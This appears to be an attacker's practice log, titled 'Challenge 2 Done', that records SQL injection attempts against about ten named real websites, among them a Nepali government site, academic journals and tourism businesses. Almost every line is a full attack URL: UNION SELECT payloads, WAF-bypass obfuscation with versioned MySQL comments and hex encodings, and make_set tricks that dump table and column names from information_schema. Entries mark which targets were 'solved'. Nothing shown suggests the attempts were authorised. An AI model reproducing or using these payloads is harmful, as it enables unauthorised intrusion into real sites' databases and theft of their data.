Challenge 2 Done

1.https://www.pixheaven.net/galerie_us.php?id=-22+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9-- -  [putting database() fix the vulnerable column]

2.http://www.ijltet.org/journal_details.php?id=898&j_id=-2856+/*!50000UNION+ALL*/+SELECT+1,2,3,4,group_concat(table_name,column_name,'<br>'),6,7,8,9,10,11,12 from information_schema.columns where table_schema=database()-- -      [error in group concat]

2 (solved) http://www.ijltet.org/journal_details.php?id=898&j_id=-2856+/*!50000UNION+ALL*/+SELECT+1,2,3,4,/*!12345group_concat(table_name,0x3c62723e,column_name)*/,6,7,8,9,10,11,12 /*!12345from*/ /*!13337information_schema.columns*/ /*!50000where*/ /*!12345table_schema*/=/*!13337database()*/ -- -


3.https://www.network.com.ar/popup.php?id=10755&print=1-- -       [wtf!! is the site kidding with me]

3 (inject point change) https://www.network.com.ar/popup.php?id=10755' -- -&print=1
3 (solved) https://www.network.com.ar/novedades_lista.php?categoria=-155  UNION ALL SELECT (/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE()) -- -


4.https://linuxmint.com/edition.php?id=261'    [no error]

4 Not SQLi vulnerable

5.http://www.myanmartraveloperator.com/detail.php?id=-1' union select 3-- -   [wap bypass problem]

5 (solved)
http://www.myanmartraveloperator.com/detail.php?id=-1'  /*!13337UNION*/ ALL SELECT make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),2,3 -- -

6.http://www.myanmarcherry.com/index.php?a=pck_tour&id=-6 /**/uNIon/**/sEleCt/**/ 1,2,3,4,5,6,7,8,9,10-- -   [waf bypass problem]
7.https://www.socialvisionservices.org/index.php?id=32-- -   [fix the error]
8.http://www.thavibuart.com/special/book_detail.php?id=-1 /*!50000union*/ select 1,2,group_concat(table_name,column_name),4,5,6,7,8,9,10,11,12 from information_schema.columns where table_schema=database()-- -  [mod in group-concat]

8 (Mod fix) http://www.thavibuart.com/special/book_detail.php?id=-1 /*!50000union*/ select 1,2,/*!12345group_concat(table_name,0x3c62723e)*/
,4,5,6,7,8,9,10,11,12 /*!12345from*/ /*!13337information_schema.tables*/ /*!50000where*/ /*!12345table_schema*/=/*!13337database()*/ -- -

but try another peram don't know why table_name not showing

9.https://www.notu.or.ug/index.php?id=40'
10.http://moi.gov.np/content.php?id=263-- -

10 (SQLi patched)